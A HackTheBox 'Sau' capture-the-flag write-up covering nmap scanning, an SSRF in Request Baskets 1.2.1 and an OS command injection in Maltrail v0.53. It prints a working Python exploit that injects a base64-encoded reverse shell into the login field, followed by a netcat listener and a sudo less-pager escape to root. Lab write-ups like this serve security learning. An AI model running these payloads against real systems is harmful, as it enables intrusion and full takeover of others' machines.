Sau Writeup

This is a writeup of the Sau machine, from HackTheBox. This machine has easy difficulty. At the time of writing I haven’t done many CTFs for a while due to university work and travelling and what not, so to get back into the swing of things I am doing a nice easy box to re-familiarise myself.

Reconnaissance

We start with a basic Nmap SYN scan to get a feel for the open ports.

Command:

nmap [target] -sS

Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-11 09:11 EDT
Nmap scan report for [target]
Host is up (0.044s latency).
Not shown: 997 closed tcp ports (reset)
PORT      STATE    SERVICE
22/tcp    open     ssh
80/tcp    filtered http
55555/tcp open     unknown

We see that port 22 is open and using SSH, and port 55555 is open. Port 55555 is not a standard port, so the network admin could have attempted to hide something here, or is running a non-standard service. Port 80 is filtered. Using the --reason flag, we see how this is justified.

PORT   STATE    SERVICE REASON
80/tcp filtered http    no-response

There was no response to the packets sent by Nmap. We now use a more aggressive scan to try to enumerate more information from the open ports.

Command:

nmap [target] -sS -p 22,80,55555 -A -sV -sC -O

Nmap scan report for [target]
Host is up (0.012s latency).

PORT      STATE    SERVICE VERSION
22/tcp    open     ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 aa:88:67:d7:13:3d:08:3a:8a:ce:9d:c4:dd:f3:e1:ed (RSA)
|   256 ec:2e:b1:05:87:2a:0c:7d:b1:49:87:64:95:dc:8a:21 (ECDSA)
|_  256 b3:0c:47:fb:a2:f2:12:cc:ce:0b:58:82:0e:50:43:36 (ED25519)
80/tcp    filtered http
55555/tcp open     unknown
| fingerprint-strings:
|   FourOhFourRequest:
|     HTTP/1.0 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     X-Content-Type-Options: nosniff
|     Date: Mon, 11 Sep 2023 13:23:30 GMT
|     Content-Length: 75
|     invalid basket name; the name does not match pattern: ^[wd-_\.]{1,250}$
|   GenericLines, Help, Kerberos, LDAPSearchReq, LPDString, RTSPRequest, SSLSessionReq, TLSSessionReq, TerminalServerCookie:
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest:
|     HTTP/1.0 302 Found
|     Content-Type: text/html; charset=utf-8
|     Location: /web
|     Date: Mon, 11 Sep 2023 13:23:05 GMT
|     Content-Length: 27
|     href="/web">Found</a>.
|   HTTPOptions:
|     HTTP/1.0 200 OK
|     Allow: GET, OPTIONS
|     Date: Mon, 11 Sep 2023 13:23:05 GMT
|_    Content-Length: 0
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :

(...)

Aggressive OS guesses: Linux 4.15 - 5.8 (96%), Linux 5.3 - 5.4 (95%), Linux 2.6.32 (95%), Linux 5.0 - 5.5 (95%), Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (95%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Linux 5.0 (93%)
No exact OS matches for host (test conditions non-ideal).

We see that the SSH port 22 is running OpenSSH 8.2p1, and running Ubuntu. Nmap was still unable to determine which service port 55555 is running, but some of the common scripts were able to gain some information anyway. Nmap was able to successfully send an HTTP request and receive an HTTP response. The HTTPOptions script determined that this port allows HTTP GET and OPTIONS commands. We can conclude that it is likely that an HTTP server is running on port 55555.

Web Enumeration

Visiting the webpage hosted on port 55555, we find a web app.

alt text

This web app is using the ‘request baskets’ service, version 1.2.1.

It might be handy to gain a familiarity of the basic functionality of the web app. It appears that this web app allows the user to create a ‘basket’, which will create a new page. The user is able to customize the name of this basket, and the URL of their basket. Once created, anyone can send HTTP requests to this new page, and they are collected and displayed to the user. When a new basket is created, a token is generated. This is then used to share a basket with another user.

alt text

When a basic empty GET request is sent using curl, we see it displayed.

alt text

After some Googling, there is a known SSRF (Server-Side Request Forgery) for Request Basket 1.2.1. SSRF vulnerabilities allow an attacker to force a server-side application to make requests to an unintended location. We will use the SSRF vulnerability to make a GET request and gain access to port 80 on this server, which was previously filtered. Details of this attack on Request Baskets can be found here. Request Baskets allow the user to set a forward URL - we will set this to the local host on port 80.

We create a basket called exploit. The Proxy Response option will send the response back to our client. The following settings are used:

alt text

Now when we visit the URL http://[target]:55555/exploit, we are redirected to http://127.0.0.1:80.

alt text

This is a static webpage. The links at the top redirect the user to the Maltrail Github repository. We see at the bottom that this page is powered by Maltrail v0.53. A quick Google reveals that there is an OS command injection vulnerability in the username field of the login portal, allowing for remote code execution.

Initial Access

The link is not present for the login portal, so we will assume it is the simple /login. We use the following Python script to exploit this RCE vulnerability:

#!/bin/python3

import sys
import os
import base64

# Arguments to be passed
YOUR_IP = sys.argv[1] # <your ip>
YOUR_PORT = sys.argv[2] # <your port>
TARGET_URL = sys.argv[3] # <target url>

print("\n[+]Started MailTrail version 0.53 Exploit")

# Fail-safe for arguments
if len(sys.argv) != 4:
print("Usage: python3 mailtrail.py <your ip> <your port> <target url>")
sys.exit(-1)


# Exploit the vulnerbility
def exploit(my_ip, my_port, target_url):
# Defining python3 reverse shell payload
payload = f'python3 -c \'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("{my_ip}",{my_port}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")\''
# Encoding the payload with base64 encoding
encoded_payload = base64.b64encode(payload.encode()).decode()
# curl command that is to be executed on our system to exploit mailtrail
command = f"curl '{target_url}/login' --data 'username=;`echo+\"{encoded_payload}\"+|+base64+-d+|+sh`'"
# Executing it
os.system(command)


print("\n[+]Exploiting MailTrail on {}".format(str(TARGET_URL)))
try:
exploit(YOUR_IP, YOUR_PORT, TARGET_URL)
print("\n[+] Successfully Exploited")
print("\n[+] Check your Reverse Shell Listener")
except:
print("\n[!] An Error has occured. Try again!")

A listener is set up using netcat, and we run the Python exploit.

Command:

nc -lnvp 4444

Command:

python exploit.py [Attacking IP] [Listening Port] [Target URL]

This worked, and we have gained a shell. We are on the user ‘puma’.

└─$ nc -lnvp 4444  
listening on [any] 4444 ...
connect to [attacker] from (UNKNOWN) [target] 34660
$ whoami
whoami
puma

We find the user flag in the home directory.

puma@sau:/root$ cd ../../home/puma
puma@sau:~$ ls
user.txt
puma@sau:~$ cat user.txt
[REDACTED]

Privilege Escalation

We first stabilize the shell to make it easier to work with.

Commands:

python3 -c ‘import pty;pty.spawn(“/bin/bash”)’ stty raw -echo; fg export TERM=xterm

Using the command uname -a we see that this is a Ubuntu 5.4.0-153-generic machine.

```Linux sau 5.4.0-153-generic #170-Ubuntu SMP Fri Jun 16 13:43:31 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux


We check what the user ```puma``` can do with sudo.
##### Command:
>sudo -l

```Matching Defaults entries for puma on sau:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User puma may run the following commands on sau:
    (ALL : ALL) NOPASSWD: /usr/bin/systemctl status trail.service

We see that puma can run systemctl status trail.service as root with sudo privileges. Running this command, we get a less-like interface. At the end we can enter commands. We enter the command !sh and immediately gain a root shell, and can grab the root flag.

# whoami
root
# pwd
/opt/maltrail
# cd ../../root
# ls
go  root.txt
# cat root.txt
[REDACTED]

Conclusion

This was a quick and easy machine, but it highlights some of the most common vulnerabilities found in web applications. Server-Side Request Forgery vulnerabilities are one of the OWASP Top 10 from 2021. Whenever a web application fetches a remote resource without correct user-supplied URLs, an attacker can find an exploit. OWASP Notes that incidents involving SSRF are increasing, and suggests that this is due to the increase of cloud services. These require remote fetching of data, often using user-supplied URLs. Therefore, it is paramount that developers ensure anything that the user controls is properly validated. Some of the ways in which SSRF-based attacks can be prevented include segmenting remote resources in separate networks, enforcing ‘deny by default’ firewall policies, proper validation and sanitisation of user-supplied data, and enforcing a strict URL schema. In the exploitation of Maltrail, we see another input-validation issue. The exploit used in this CTF sends a reverse shell into the username field of a login portal. A vulnerability of this nature can easily be prevented by ensuring all inputs are properly sanitized, so that console commands cannot be injected. This simple challenge has demonstrated how easy it can be for an attacker to gain root access when inputs are not properly validated.

Tools Used

  • nmap
  • netcat
  • Python

HackTheBox Sau Machine

SSRF Vulnerabilities

Request Baskets SSRF

Maltrail Github Repository

Maltrail OS command Injection Vulnerability

OWASP Top 10 - SSRF

Deny by Default Policies